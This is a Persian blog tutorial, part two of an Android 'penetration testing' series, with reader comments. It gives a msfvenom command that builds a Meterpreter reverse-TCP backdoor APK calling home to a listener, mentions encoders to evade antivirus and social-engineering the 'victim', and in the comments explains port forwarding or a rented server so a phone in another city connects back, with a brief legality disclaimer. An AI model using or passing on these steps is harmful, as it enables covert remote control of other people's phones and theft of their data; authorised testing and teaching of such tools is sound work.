تست نفوذ اندروید . بخش دوم

منتشر شده در دسته : بلاگ, متااسپلوییت پیشرفته

اکنون چگونه یک بکدور اندروید ایجاد کنیم ؟ در بخش اول از این مجموعه آموزش های تست نفوذ اندروید درباره امنیت در سیستم های نرم افزاری به زبان ساده صحبت کردیم . گفتیم که اندروید قابلیت نصب اپلیکیشن های سوم شخص را خارج از فروشگاه اصلی دارد. ولی قربانی باید حتما تنظیمات مربوط به نصب اپ سوم شخص را فعال کرده باشد.

بکدور اندروید

در این بخش می خواهیم فایل مقدماتی بکدور اندروید apk خود را درون کالی لینوکس ایجاد کنیم.

به این منظور به کالی لینوکس رفته , یک کنسول خط فرمان باز کنید و دستور زیر را را درون کنسول وارد کنید (موارد مورد نیاز را سفارشی کنید)

msfvenom -p android/meterpreter/reverse_tcp LHOST=192.168.1.8 LPORT=4444 -o Mobile.apk

دستور msfvenom اندروید

ابزار msfvenom به منظور ایجاد بکدور برای طیف گسترده ای از فرمت ها و زبان های برنامه نویسی طراحی شده است. ما در اینجا می خواهیم یک بکدور اندروید ایجاد کنیم. به همین منظور با استفاده از سوییچ -p نوع پیلود خود را android/meterpreter/reverse_tcp انتخاب می کنیم. شما می توانید موارد مشابه دیگری همچون reverse_http و یا reverse_https را هم انتخاب کنید. آدرس آیپی LHOST همان آدرس آیپی سیستم کالی می باشد . یک شماره پورت آزاد il دلخواه انتخاب کنید . در اینجا پورت پیش فرض مترپرتر در متااسپلوییت 4444 را انتخاب می کنیم. در ادامه سوییچ o- را اضافه می کنیم. این سوییچ موجب خروجی درون یک فایل می شود . می توانید با استفاده از سوییچ f- فرمت فایل را تعیین کنید و یا نوع معماری فایل را تعیین کرده و یا حتی کاراکترهای بد را از درون بکدور خروجی حذف کنید و یا انکودری اضافه کنید تا شناسایی آنتی ویروس ها دشوارتر شود

تا اینجای کار یک فایل خروجی با نام Mobile.apk بکدور اندروید ایجاد کردیم. شما هم اکنون می توانید این فایل را برای تست استفاده کنید ولی مشکل اصلی این است که این فایل سفارشی نشده است و به همین دلیل ممکن است موجب شکست تلاش های مهندسی اجتماعی شما شود. در بخش سوم این آموزش این فایل را سفارشی خواهیم کرد.

مشاهده بخش سوم تست نفوذ اندروید

تعداد پیام ها 12

  1. باسلام و عرض ادب و خسته نباشید…
    ممنون از مطالب و سایت خوبتون…
    یه سوال از خدمتتون داشتم اونم اینکه پارامتر -x در ساخت بکدور اندروید برای ادغام کردن دو فایل اندرویدی هست؟؟یعنی مثلا من میتونم مثلا برنامه دیگه رو با بکدورم ادغام bind کنم؟؟
    ممنون میشم یک توضیحی بفرمایید…

    1. سلام
      گزینه x- برای فایل های اجرایی کاربرد داره و با استفاده از آن نمی شود فایل apk را به درون فایل دیگری بایند کرد .
      هرچند برای این کار اسکریپت هایی طراحی شده تا این کار را به صورت خودکار انجام دهند و همچنین می توان این کار را به صورت دستی انجام داد.
      امیدوارم تو آزمایش های بعدی این دو روش را هم به صورت کامل آموزش دهم
      موفق باشیم

  2. سلام
    چطوری Android و Kali رو شبکه کنیم؟ مث همینی که شما تو آموزش استفاده کردین. باید از Access Point استفاده کنیم؟ یا با مودم وایرلس هم میشه؟
    یه سوال دیگه هم دارم که البته ارتباطی به این مطلب نداره، عذر میخوام، کدوم نسخه از Mac OS رو VMware و یا Virtual Box نصب میشه؟
    ممنون

    1. سلام
      من در اینجا از مودم وایرلس استفاده کردم و ماشین مجازی Vbox
      داخل تنظیمات Vbox سیستم کالی رو روی حالت بریدج قرار دادم تا به عنوان بخشی از شبکه داخلی قرار بگیره و از مودم آیپی بگیره
      تبلتم رو هم به صورت عادی به مودم وصل کردم و هر دو داخل شبکه داخلی مودم قرار گرفتن و از اون آیپی می گیرند.

      من ماوریکس OSX-Mavericks رو روی ماشین مجازی VBox بدون مشکل نصب کردم . نسخه های جدیدتر رو هنوز تست نکردم ولی شاید بشه
      http://www.macbreaker.com/2014/05/os-x-mavericks-in-virtualbox-with-niresh.html

      موفق باشید

  3. سلام و تشکر از اموزشهای خوبتون
    ما فایل اندروید را به شخصی در شهر دیگری میدهیم(با توجه به نداشتن ای پی ولید هم برای خودمان هم برای قربانی) و آن هم نصب و اجرا می کند اما هیچ اتفاقی سمت ما نمی افتد .
    لطفا در این رابطه توضیح بدهید که مشکل عدم ارتباط برنامه از گوشی قربانی با ما را چگونه حل کنیم؟
    با تشکر

    1. سلام و احترام
      قبل از هر چیز اطمینان حاصل کنید که کار شما کاملا قانونی است چرا که تست خارج از محیط تست بدون مجوز جرم محسوب می شود و بنده تنها با فرض به قانونی بودن شما را راهنمایی می کنم.
      اول از همه آیپی ولید (پابلیک منظورتونه) رو همه سیستم ها دارند فقط اکثرا ثابت نیست.
      چه اندروید یا هر سیستم عامل دیگری شما زمانیکه قصد تست نفوذ به صورت آنلاین را دارید , امکان تست به خارج از محیط لوکال وجود ندارد مگر اینکه :
      دو راه حل وجود داره که من راه حل دوم رو توصیه می کنم
      یک اینکه در مودم خودتون پورت فورواردینگ انجام دهید
      دو اینکه از یک محیط تست آنلاین استفاده کنید.
      شما زمانیکه از طریق سیستم لوکال کالی خودتون اقدام به ارسال پیلود و ایجاد شنونده می کنید و پیلود را به سیستم هدف در محل دیگری خارج از شبکه لوکال خودتون ارسال می کنید عملا راهی به منظور شناسایی آدرس بازگشت وجود ندارد. در راه حل اول شما بایستی در حین ایجاد پیلود آیپی پابلیک خودتون رو (به جای آیپی لوکال) تعیین کنید و شنونده را مثل قبل ایجاد کنید. با این کار در حین اجرای پیلود روی سیستم قربانی سعی در برقراری ارتباط بازگشتی با آیپی پابلیک شما دارد ولی کار همینجا تمام نمی شود چرا که مودم شما پورت مورد نظر برای ارسال بسته را نمی شناسد در نتیجه بایستی داخل مودم پورت فورواردینگ را انجام دهید تا بسته بازگشتی از سیستم هدف به سیستم کالی داخل شبکه لوکال برسد و ارتباط بازگشتی انجام شود و به شل دسترسی پیدا کنید. این راه حل توصیه نمی شود . هرچند داخل آموزش زیر می توانید اون را مشاهده کنید :
      http://netamooz.net/metasploit-online-pentest
      راه حل دوم خریداری یک وی پی اس آنلاین کالی یا دبیان ویزی می باشد. به این نحو دیگری نیازی به پورت فورواردینگ و دردسرها دیگر ندارید.

  4. سلام
    این فایل apk که ساختم توی گوشی نصب نمیشه
    در 3 مدل گوشی با اندروید های متفاوت امتحان کردم خطا داد…بسته تجزیه نمیشه

  5. سلام من فایل که برای قربانی ارسال میشه رو ساختم ارسال کردم ولی وقتی روی گوشی اجرا میشه میزنه خطا در تجزیه برنامه
    باید چیکارش کنم

  6. سلام خسته نباشید من یه مشکلی داشتم
    وقتی که تمامی مراحل را برای ساخت فایلapkطی میکنم و مطمئن هستم همه ی دستور هارو زدم ولی وختی فایل رو واسه تارگت(گوشی خودم)ارسال میکنم و وقتی برنامه رو نصب میکنم و گزینه exploitرو میزنم هیچ ارتباطی برقرار نمیشه.ممنون میشم اگه جوابمو بدید

  7. سلام خسته نباشید ممنون بابت اموزش هاتون اگر امکانش هست روش های بیدا کردن اسیب بذیری در خود برنامه های سیستم عامل اندروید که جایی فاش نشده و zero day باشه رو توضیح بدید ن ساخت یک rat منظورم. exploit هایی مثل webview java interface هستش که خیلی اسیب بذیری جالبی بود . چه جور میشه مشابه این اسیب بذیری ها رو بیدا کرد.
    ممنون

  8. درود.من از طریق اینترنت موبایل وصلم و نمیتونم Payload انجام بدم وقتی Exploit رو میزنم Started reverse TCP handler on 192.168.58.131:4444 همینجا وایمیسه هیج اتفاقی نمیفته دلیلش چیه؟ امکانش هست اصن با اینترنت موبایل بشه بکدور گرفت از لوکال هاست ؟

خوشحال می شویم دیدگاههای خود را در میان بگذارید * فرصت پاسخگویی به سوالات در بلاگ وجود ندارد

دیدگاهتان را بنویسید

نشانی ایمیل شما منتشر نخواهد شد. بخش‌های موردنیاز علامت‌گذاری شده‌اند *